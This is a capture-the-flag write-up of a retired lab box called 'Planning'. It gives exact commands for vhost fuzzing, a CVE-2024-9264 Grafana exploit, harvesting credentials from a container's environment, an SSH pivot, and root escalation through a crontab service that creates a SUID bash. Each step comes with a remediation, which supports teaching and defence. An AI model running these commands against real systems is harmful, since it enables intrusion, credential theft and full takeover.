Planning
Summary
I enumerated virtual hosts on the target nginx server and discovered a Grafana 11.0.0 monitoring dashboard alongside a decoy education site. Using obtained administrator credentials, I authenticated to Grafana and exploited CVE-2024-9264 — a critical SQL-injection-to-command-execution flaw in the DuckDB data source plugin — gaining root-level code execution inside the Grafana Docker container. Environment variables within that container exposed the host SSH password for user enzo in plaintext; I pivoted to the host over SSH and captured the user flag.
As enzo, a root-credentialed internal crontab management service was discovered on localhost, its credentials stored in a configuration file readable by the low-privilege account. By triggering a pre-registered job through that service, I caused the root-owned process to create a SUID copy of bash, which was then executed to reach full root on the host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for enzo>"
export PASSWORD2="<the-password-you-recovered, for root>"
export PASSWORD3="<the-password-you-recovered, for admin>"Attack path — how the box was taken
Exact commands 4
Version/service scan of the two open ports.
$ nmap -sV -sC -p 22,80 $TARGETFuzz for vhosts beyond planning.htb; filter redirects.
$ ffuf -u http://$TARGET -H 'Host: FUZZ.planning.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 302Add both discovered vhosts to local DNS resolution.
$ echo "$TARGET planning.htb grafana.planning.htb" | sudo tee -a /etc/hostsConfirm Grafana version unauthenticated.
$ curl -s http://grafana.planning.htb/api/healthExact commands 1
Authenticate to Grafana and persist the session cookie.
$ curl -s -X POST http://grafana.planning.htb/login -H 'Content-Type: application/json' -d '{"user":"admin","password":"'"$PASSWORD3"'"}' -c grafana_cookies.txtFixEnforce a strong, unique Grafana admin password and restrict login access by IPHigh
Exact commands 2
Confirm RCE as root inside the container. Replace script path as needed.
$ python3 CVE-2024-9264.py -u http://grafana.planning.htb -U admin -P "$PASSWORD3" -c 'id; hostname; whoami'Dump the container init process environment to harvest secrets.
$ python3 CVE-2024-9264.py -u http://grafana.planning.htb -U admin -P "$PASSWORD3" -c 'cat /proc/1/environ | tr "\0" "\n"'FixUpgrade Grafana to a patched version to close CVE-2024-9264Critical
Exact commands 1
Filter the container environment for credential-bearing variables.
$ python3 CVE-2024-9264.py -u http://grafana.planning.htb -U admin -P "$PASSWORD3" -c 'printenv | grep -i -E "user|pass|secret|key"'FixNever store host OS credentials in Docker container environment variablesCritical
Exact commands 1
SSH to the host with the leaked credential; output shows uid and user flag <user.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 enzo@$TARGET 'id; cat /home/enzo/user.txt'
uid=1000(enzo) gid=1000(enzo) groups=1000(enzo)Exact commands 3
List locally bound TCP listeners to spot the internal service on port 8000.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no enzo@$TARGET 'ss -tlnp'Search for configuration files that mention a password.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no enzo@$TARGET 'find /home/enzo /opt /etc -type f \( -name "*.conf" -o -name "*.env" -o -name "*.ini" -o -name "*.yaml" \) 2>/dev/null | xargs grep -l -i password 2>/dev/null'Verify that the root credential authenticates to the crontab service.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no enzo@$TARGET "curl -s -u root:$PASSWORD2 http://127.0.0.1:8000/"FixProtect internal service credentials from low-privilege OS accountsHigh
Exact commands 2
Trigger the pre-configured job; the service runs the command as root, creating /tmp/rootbash as a SUID binary.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no enzo@$TARGET 'curl -sS -i -u root:'"$PASSWORD2"' -X POST http://127.0.0.1:8000/runjob --data-urlencode "_id=YTmf55sIn7pUWFuO"'Wait for job completion, confirm the SUID binary exists, then execute it with -p to retain root eUID and read <root.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no enzo@$TARGET 'sleep 2; ls -l /tmp/rootbash; /tmp/rootbash -p -c "id; cat /root/root.txt"'FixRemove or fundamentally redesign the root-owned crontab management serviceCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh |
| 80/tcp | http |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.